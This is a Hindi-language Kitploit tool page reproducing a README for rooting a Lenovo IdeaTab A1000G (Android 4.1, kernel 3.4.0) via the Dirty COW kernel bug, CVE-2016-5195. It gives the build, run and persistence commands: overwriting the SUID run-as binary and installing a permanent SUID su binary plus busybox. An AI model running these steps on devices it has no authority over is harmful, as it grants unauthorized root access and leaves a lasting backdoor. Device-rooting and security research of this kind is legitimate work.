Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195 — [AI-सहायता प्राप्त] Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) के लिए CVE-2016-5195 (Dirty COW) के माध्यम से रूट विधि | Kitploit
उपकरण/GitHubGitHub/voidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिस्थायित्व तंत्रशोषणपोस्ट-शोषणमोबाइल सुरक्षाबाइनरी शोषण
GitHubvoidgguy/lenovo-a1000g-mt8317-a412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

[AI-सहायता प्राप्त] Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1) के लिए CVE-2016-5195 (Dirty COW) के माध्यम से रूट विधि

रिपॉजिटरी देखें
72 महीने पहलेअभी तक समीक्षित नहीं

लेनोवो आइडियाटैब A1000G — रूट

नोट: यह दस्तावेज़ और एक्सप्लॉइट कोड AI सहायता (Kiro) के साथ तैयार किया गया था। उपयोग से पहले सत्यापित करें — AI गलतियाँ कर सकता है और करता भी है।

डिवाइस

फ़ील्डमान
मॉडललेनोवो आइडियाटैब A1000G
SoCMediaTek MT8317 (= MT6517)
CPUडुअल-कोर Cortex-A9 @ 1.2GHz
कर्नेलLinux 3.4.0
बिल्डA1000G_A412_01_09_130907_2G
एंड्रॉइड4.1.2 (जेली बीन)

आवश्यक शर्तें

  • USB डीबगिंग सक्षम
  • ADB कनेक्टेड
  • Android NDK r28+ ~/Android/Sdk/ndk/ पर
  • busybox-armv7l स्टैटिक बाइनरी (busybox.net/downloads/binaries/1.21.1/)

एक्सप्लॉइट — CVE-2016-5195 (डर्टी COW)

कर्नेल mmap/write पथ में रेस कंडीशन। कर्नेल 2.6.22–4.8.3 को प्रभावित करता है। लक्ष्य: /system/bin/run-as (SUID रूट, 9448 बाइट्स)।

1. कंपाइल करें

root@kitploit:~
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. su को लक्ष्य आकार (9448 बाइट्स) तक पैड करें

root@kitploit:~
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. चलाएँ

root@kitploit:~
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. su को स्थायी रूप से इंस्टॉल करें

root@kitploit:~
# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. busybox इंस्टॉल करें (वैकल्पिक)

root@kitploit:~
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

उपयोग

root@kitploit:~
adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd काम नहीं करता — ADB setuid छोड़ देता है। पहले इंटरैक्टिव शेल में प्रवेश करना आवश्यक है।

रूट के बाद

  • /system/bin/run-as → अधिलेखित (मूल run-as कार्यक्षमता टूट गई)
  • /system/bin/su → स्थायी SUID su बाइनरी
  • /system/bin/busybox → busybox 1.21.1

असफल प्रयास

तरीकाकारण
CVE-2013-1763 sock_diagकर्नेल में कंपाइल नहीं किया गया

फ़ाइलें

root@kitploit:~
.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

प्रीकंपाइल्ड बाइनरी शामिल नहीं हैं — ऊपर दिए गए चरणों का उपयोग करके स्रोत से कंपाइल करें।

संदर्भ

  • CVE-2016-5195 स्रोत: Arinerron/CVE-2016-5195
  • फर्मवेयर ROM (अलग बिल्ड, केवल कर्नेल सिंबल निष्कर्षण के लिए उपयोग किया गया): Lenovo_A1000G_MT6577_01_24_130329 — इस ROM के सिंबल बिल्ड A412_01_09_130907 पर काम करते हैं क्योंकि दोनों समान कर्नेल वर्चुअल लेआउट साझा करते हैं
टूल डाउनलोड करें
CVE-2013-6282 get_user/put_userldrt/strt Cortex-A9 पर अवरुद्ध
CVE-2014-3153 Towelrootकर्नेल पैनिक — MTK के लिए sendmmsg iovstack ऑफसेट गलत
Framaroot AdbActivityNullPointerException, असंगत
/proc/self/mem overwriteकर्नेल एड्रेस यूज़रस्पेस से अभिगम्य नहीं